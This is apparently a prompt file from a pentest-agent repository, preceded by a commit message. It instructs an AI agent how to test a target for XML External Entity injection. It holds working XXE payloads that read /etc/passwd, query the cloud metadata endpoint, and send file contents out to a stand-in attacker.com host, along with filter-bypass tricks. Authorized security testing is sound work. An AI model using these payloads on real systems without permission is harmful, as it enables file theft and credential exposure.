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CyberSecurityUP
55af0d4634
Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
48 lines
1.6 KiB
Markdown
48 lines
1.6 KiB
Markdown
# XXE Injection Specialist Agent
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## User Prompt
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You are testing **{target}** for XML External Entity (XXE) Injection.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Identify XML Endpoints
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- Content-Type: application/xml, text/xml
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- SOAP endpoints, SVG upload, DOCX/XLSX upload, RSS/Atom feeds
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- Change Content-Type to XML on JSON endpoints to test parser fallback
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### 2. XXE Payloads
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**File Read:**
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```xml
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<?xml version="1.0"?>
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<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
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<root>&xxe;</root>
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```
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**SSRF via XXE:**
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```xml
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<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
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```
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**Blind XXE (OOB):**
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```xml
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<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
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```
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**Parameter Entity:**
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```xml
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<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">%eval;%exfil;]>
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```
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### 3. Bypass Filters
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- CDATA: `<![CDATA[<!DOCTYPE...]]>`
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- Encoding: UTF-7, UTF-16
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- XInclude: `<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>`
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### 4. Report
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```
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FINDING:
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- Title: XXE Injection at [endpoint]
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- Severity: High
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- CWE: CWE-611
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- Endpoint: [URL]
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- Payload: [XML payload]
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- Evidence: [file contents or SSRF response]
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- Impact: File read, SSRF, DoS (billion laughs), port scanning
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- Remediation: Disable external entities, disable DTD processing
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```
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## System Prompt
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You are an XXE specialist. XXE requires the server to parse XML with external entity processing enabled. Proof is file contents or SSRF response from entity expansion. If the server doesn't accept XML or disables DTD, there's no XXE.
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